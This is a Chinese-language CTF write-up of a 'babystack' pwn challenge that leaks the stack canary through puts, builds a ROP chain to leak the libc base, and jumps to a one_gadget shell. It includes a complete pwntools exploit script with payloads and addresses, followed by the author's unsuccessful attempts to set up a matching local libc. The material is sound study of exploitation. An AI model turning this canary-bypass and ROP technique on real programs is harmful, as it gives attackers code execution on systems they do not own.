好久没做pwn题了,找了道简单的ret2libc做做,顺便尝试解决一些历史遗留问题 (其实就是让pwn题使用本地的libc的问题,省流:有突破性进展但没有完全解决)
没有PIE,i了i了
直接一个大大的溢出read甩我脸上,而且还是无限循环的read,而且有120字节的溢出空间(0x100-136),完全不需要自己费尽心思去构造乱七八糟的利用链,这种题请务必もっともっと!XD
但是,在main函数的最开始部份存在着一条语句v6=__readfsqword(0x28u)
,这条语句的作用就是把canary字段读到栈中,所以这道题我们需要想到绕开或者泄露canary的方法,不然盲目地栈溢出会引起程序 __stack_chk_fail的报错。这里程序正好 提供了一个puts方法,可以供我们泄露canary。
addr | var |
---|---|
-0x90 | buf |
-0x8 | var_8 |
0x0 | s |
0x8 | r |
栈结构大致如上,其中var_8就是心心念念的canary,可以清楚看见canary以及返回地址都在栈溢出的覆盖范围内。
由于题目给出了puts方法,所以可以尝试先把buf与canary之间的空间用字符填满,然后使用puts函数将canary输出。但是canary为了防止栈内容泄露,特地把最低位设置为"\x00",以此让输出函数被截断,防止泄露canary及canary后的栈内容。
所以要是想要输出canary的值,需要使用填充字符把canary的最低位覆盖为"\x00"以外的值。又因为程序是小端程序,所以当我们溢出缓冲区一个字节时,溢出的一个字节正好能覆盖到canary的最后一个字节上,此时,canary将被认为是输入的一部分随着填充字符串被puts函数输出出来。
因为调用过puts函数,所以puts的gots表地址和puts表地址是已知的,再加上有充足的溢出空间,所以这里还是请出老演员puts函数来把puts函数的libc装载地址泄露出来。
需要注意的是,由于程序为64位程序,所以puts函数的参数需要通过寄存器传递,所以这里还需要找到一个pop rdi; ret;
的小gadget,这里我使用的是ROPgadget工具进行搜索,具体方法不再赘述。
然后就可以开始构造ROP链,具体如下
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
首先把canary归位,然后覆盖到返回地址,随后将puts函数的GOT表地址弹栈至rdi寄存器,再调用puts函数输出puts函数libc地址,最后返回main函数,实现持续控制。
libc_base=puts_addr-libc.symbols['puts']
因为已经获得了libc基地址,所以现在可以随心所欲地get shell了,一般的方法是构造ROP链,尝试用一大堆gadget构造system(“/bin/sh”)并调用之,这里就不得不推荐一个神器——one_gadget,可以直接一步到位,找到libc里面的getshell语句
这里我们随便选择一个作为getshell的目的地址,构建payload如下
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
from pwn import *
from ctypes import *
context(arch='i386',os='linux',log_level = 'debug')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def dbg(addr):
gdb.attach(p,'b *$rebase({})\nc\n'.format(hex(addr)))
#p = remote("111.200.241.244",59449)
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
getsh_addr = 0x45216
rdi_addr = 0x400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400908
# canary leak
sla('>> ','1')
#pause()
sl('a'*0x84 + "ABCD")
sla('>> ','2')
ru('a'*0x84 + "ABCD")
#pause()
canary=u64(rc(8)[1::].rjust(8,'\x00'))
print hex(canary)
# libc leak
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sla('>> ','1')
sl(payload1)
pause()
sla('>> ','3')
puts_addr = u64(rc(8).ljust(8,"\x00"))
print hex(puts_addr)
# get shell
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+getsh_addr
p.sendlineafter('>> ','1')
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
p.sendline(payload2)
p.sendlineafter('>> ','3')
p.interactive()
因为一直没法打通本地环境,根据网上教程尝试使用patchelf工具对目标程序的默认libc进行更换
发现其实有一个封装好的工具,可以方便地下载各版本的libc,并且自带build方法,叫做glibc_all_in_one,这次进展较顺利,成功使用自带的build方法配置了libc2.23的环境,但是使用对应libc并patchelf后,源程序无法运行
搜索多种解决方法一一尝试后无果,再次放弃